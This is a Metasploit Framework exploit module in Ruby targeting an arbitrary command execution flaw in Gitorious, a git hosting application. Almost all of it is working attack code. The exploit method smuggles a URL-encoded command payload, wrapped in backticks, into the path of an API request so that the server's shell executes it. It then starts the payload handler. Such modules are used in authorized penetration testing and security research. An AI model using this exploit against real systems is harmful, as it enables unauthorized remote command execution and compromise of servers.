Gitorious Arbitrary Command Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Gitorious Arbitrary Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution vulnerability in the
                    in gitorious. Unvalidated input is send to the shell allowing command execution.
            },
            'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'BadChars' => "\x60",
                    'DisableNops' => true,
                    'Space'       => 31337,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                        }
                },
            'Platform'       => [ 'unix', 'linux' ],
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Jan 19 2012'
            ))

            register_options(
                [
                    OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),
                ], self.class)
    end

    def exploit
        # Make sure the URI begins with a slash
        uri = datastore['URI']
        if uri[0,1] != '/'
            uri = '/' + uri
        end

        # Make sure the URI ends without a slash, because it's already part of the URI
        if uri[-1, 1] == '/'
            uri = uri[0, uri.length-1]
        end

        command = Rex::Text.uri_encode(payload.raw, 'hex-all')
        command.gsub!("%20","%2520")
        res = send_request_cgi({
            'uri'     => "/api"+ uri + "/log/graph/%60#{command}%60",
            'method'  => 'GET',
            'headers' =>
            {
                'Connection' => 'Close',
            }
        }) #default timeout, we don't care about the response

        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
        end

        handler
    end

end